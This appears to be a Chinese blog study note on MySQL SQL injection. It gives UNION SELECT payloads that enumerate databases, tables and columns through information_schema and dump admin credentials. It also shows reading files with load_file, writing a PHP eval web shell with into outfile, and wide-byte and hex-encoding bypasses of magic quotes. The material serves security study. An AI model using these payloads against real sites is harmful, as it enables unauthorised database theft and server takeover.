13、WEB漏洞-SQL注入之MYSQL注入

Mysql注入2

#跨库查询及应用思路
information_schema 表特性,记录库名,表名,列名对应表

获取所有数据库名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 

查表,找与网站对应的数据库名,若没有,则挨个查。或者使用 union select 1,2,database()
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'qqyw'

跨库查列,,,
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'admin' and table_schema='qqyw'

查结果。。。
?id=-1 union select 1,u,p from qqyw.admin
 
 #猜解多个数据可以采用limit x,1 变动x猜解
#文件读写操作
路径获取常见方法
load_file():读取函数
into outfile或into dumpfile:导出函数

报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
windows:
d:/wwwroot/blog/
linux:
/var/www/blog/

常见读取文件列表:

常见写入文件问题:魔术引号开关
magic_quotes_gpc
#魔术引号及常见防护
十六进制编码
#低版本注入配合读取或暴力
5.0版本以下,跑字典。。
字典或读取

演示案例

普通用户 及root用户操作权限

高权限注入跨库查询操作测试

高权限注入文件读写操作测试

  load_file():读取文件函数
  into outfile或者into dumpfile:导出函数
  
  路径获取常见方法:
报错显示   (phpinfo.php)   ,遗留文件      ,漏洞报错,平台配置文件

  常见读取文件列表:(需得知网站绝对路径)
union select 1,load_file('D:\\phpmyadmin\\dudu.txt'),3 

  常见写入文件问题:魔术引号开关
union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\\www\\dudu.php'

魔术引号开启后相关操作测试

image-20210214211359956

编码绕过-》16进制编码/宽字节注入

php.ini中存在magic_quotes_gpc选项,称为魔术引号,此选项打开,使用GET,POST,cookie所接收的'单引号,"双引号,\反斜线和NULL字符全部被加上一个反斜线转义。此时,注入类型是字符型注入已经无法构成威胁。
编码或者宽字节进行绕过

isset无法绕过   替换关键字

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。 

编码后不需要单引号,所以就绕过了

相关自定义代码过滤操作演示

int()

image-20210301134412247

自定义关键字:select

image-20210301134438051

waf软件:安全狗

涉及资源

https://blog.csdn.net/weixin_30292843/article/details/99381669

最后修改:2021 年 07 月 16 日 12 : 33 PM
如果觉得我的文章对你有用,请随意赞赏